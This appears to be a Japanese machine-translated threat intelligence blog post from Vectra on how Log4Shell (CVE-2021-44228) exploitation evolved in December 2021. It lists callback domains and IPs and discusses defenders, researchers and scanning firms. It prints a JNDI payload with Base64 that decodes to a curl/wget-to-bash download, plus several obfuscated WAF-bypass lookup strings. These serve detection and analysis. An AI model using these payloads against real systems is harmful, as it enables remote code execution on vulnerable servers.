Log4Shell-エクスプロイトの進化

2021年12月15日
Luke Richards
Threat Intelligence Lead
Log4Shell-エクスプロイトの進化
この素晴らしいミームを作ったFlorian Roth @cyb3ropsの功績は大きい。

この週末、JNDIエクスプロイトは目を見張るものがあった。世界中の多くのセキュリティチームが持ち場に奔走し、特定、ブロック、パッチ適用に長時間を費やし、おそらくはインフラ・チームと戦いながら、CVE-2021-44228と呼ばれるこの0dayにパッチを当てるために変更を加えてきた。

ネットワーク・メタデータから見えるエクスプロイトの進化

週末から今週にかけて、Vectra は、このエクスプロイトを利用しようとする攻撃者の試みを積極的に監視してきた。以下のグラフは Vectra Recallから取り出した以下のグラフは、エクスプロイトを組織化するためのペイロードを含むHTTPリクエストの氾濫を示しています。

これらの元の試みのほとんどは、ToRネットワークからのもので、ホストにドメインへのコールバックをさせようとしていた:*bingsearchlib[.]com。このドメインが何をドロップしていたのかについてはいくつかの憶測がありますが、Vectra によってここから取得されたペイロードは観測されていません。Vectra 、log4shellの文字列(ユーザーエージェント、URI、またはHTTPリクエストのその他のプレーンテキストフィールドのいずれかにパックされている)のコールバックとして使用されているいくつかのドメインを観察した。Vectra によって観察されたドメインのセットは、fox-itオープンソースインテリジェンス*によって命名された関連ドメインとともに、以下にリストアップされています。


*bingsearchlib[.]com
*psc4fuel.com
*eg0[.]ru
*awsdns-2[.]org
*flofire[.]de
*nijat[.]space
*dataastatistics[.]com
*pwn[.]af
*log4j-test[.]xyz

最初に確認されたエクスプロイトの使用方法は進化しており、潜在的な攻撃者は、エクスプロイトの実行可能部分を、例えばJNDI urlの末尾にあるBase64文字列にエンコードしています:

${jndi:ldap://1.2.3.4:12344/Basic/Command/Base64/KGN1cmwgLXMgMS4yLjMuNDo1ODc0LzEuMi4zLjQ6NDQzfHx3Z2V0IC1xIC1PLSAxLjIuMy40OjU4NzQvMS4yLjMuNDo0NDMpfGJhc2g=

Vectra 私たちのメタデータでは、このエンコーディングを持つIPを何度も観測しました。これらのIPアドレスと、fox-itオープンソースインテリジェンスによって命名された関連IPを以下に報告する。

45.146.164[.]160

134.209.26[.]39

45.130.229[.]168

45.83.193[.]150

172.111.48[.]30

45.137.21[.]9

205.185.115[.]217

185.162.251[.]208

45.130.229[.]168  

79.172.214[.]11

143.198.237[.]19

162.33.177[.]73  

133.130.120[.]176

163.172.157[.]143

45.137.21[.]9

34.125.76[.]237

45.33.47[.]240

152.89.239[.]12

45.155.205[.]233

194.151.29[.]154

158.69.204[.]95

47.254.127[.]78

私たちが観測したさらなる進化は、脅威アクターによって展開される第2レベルの難読化である。これはJNDIエンジンの別の機能であり、送信された文字列を元のフォーマットにデコードし、LDAP/ディレクトリサービスへの接続を実行できるようにするものでした。これらは以下のように観測された:

${jndi:${lower:l}${lower:d}a${lower:p}://world80

${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//

${jndi:dns://

12月10日のブログの最後にこの進化を記したが、実際にはその後、利用は減少している。なぜだろう?

悲しいかな、ディフェンダーがエクスプロイトの進化を促進する

防御者が新たなエクスプロイトに対する防御を構築しようとする一方で、攻撃者は進化しようとしている。第2レベルの低下は、特にGitHub上のこのリポジトリとこのツイートにリンクさせることができる:

https://twitter.com/JekiCode/status/1469505941666209792?s=20

このツールは、脆弱性のPOCエクスプロイトであり、「コンパイルされたバイナリのダウンロードを許可するウェブサーバーを起動する」といった用語から始まる一方で、WAFをバイパスする手法にすぐに移行する。これが難読化の主な手法である。これらの方法から防御するためには、防御者は自分たちのツールを迂回する方法を知っておく必要がある、という議論がある。難読化のタイプを分析することで、チームはより良い検索パターンとツールを開発することができ、上記のような斬新な試みのいくつかを検知 。しかし、攻撃者がセキュリティ研究者に基づいて戦術を変えることは否定できず、特定のエクスプロイト・シグネチャを構築できる範囲は限られています。

古い例を挙げると、EmpireはPowerShellを中心に構築されたPentestフレームワークとして設計されたツールでしたが、悪意のあるアクターによってすぐに使用され、多くの場合、作成者を回避するために修正された独自のインプラントを妥協してインストールするようになりました。Empireで開発されたテクニックは、今日でもIcedIDやEmotetの侵害**で使用されています。

この現象はLog4Shellも例外ではなく、つい最近も研究者のマーシオ・アルメイダが次のようにツイートしている:

https://twitter.com/marcioalm/status/1470361495405875200?s=20

これは、Log4Shellの脆弱性に関するオリジナルのLunaSecブログの緩和要因の1つを水泡に帰すものだ:

世界中のシスアド、SOCアナリスト、ブルーチーム、その総称である「うめき声」が聞こえてきそうだ。エクスプロイトのアクティブなフェーズ、つまり私たちが実際に観測しているようなことですが、緩和要因があるかないかで、アップデートの時間が与えられるか、誰かがその緩和要因を回避してルートキットを完全にインストールできるかの分かれ目になるかもしれません。

このような研究は貴重であり、全体としての会話やセキュリティの実践を促進するものであるが、活発なグローバル・イベントの最中には、火に油を注ぐことにもなりかねない。同様に、世界的なイベントの最中に脆弱性をスキャンすることは、逆効果になる可能性もある。

チャミング・ウォーターか、それともサメを見えにくくするだけか?

最も多く観察されている攻撃のひとつは、悪意のあるアクターや悪用をテストしている個人によるものではなく、脆弱な標的を特定するためにインターネット上の複数のホストをスキャンしているセキュリティ企業によるものである。

Vectra は、少なくとも2社のセキュリティ会社(1社は米国、もう1社はDACH地域)が、複数の難読化技術を使用してホストをスキャンし、自社のドメインにコールバックしていることを確認している。この活動は平等主義的であり、人々が自分の脆弱なシステムを特定するのを助ける方法であると見られるかもしれないが、自社のサービスのためのビジネスを鼓舞するという側面もあるかもしれない。いずれにせよ、最初のスキャン試行の多くは、企業独自のスキャン試行で埋め尽くされ、本物の悪意のある振る舞い を特定することをより困難にしている。

結論

Log4shellは世界を混乱させた最初のエクスプロイトではないし、これが最後でもないと自信を持って言える。攻撃者は今後も進化を続け、防御者を限界まで追い込んで侵入を阻止しようとするでしょう。Log4shellは、セキュリティの問題はなくならないこと、そして私たちがどんなに予防に投資しても攻撃者は方法を見つけるということを、業界全体に改めて警鐘を鳴らすものです。

以前の開発に追いつきたいですか?Log4Shellの最初の投稿を読むことができます、 こちら.

--

*https://blog.fox-it.com/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/

**https://blogs.vmware.com/security/2018/06/carbon-black-tau-threat-analysis-emotet-banking-trojan-leverages-ms-office-word-docs-powershell-deliver-malware.html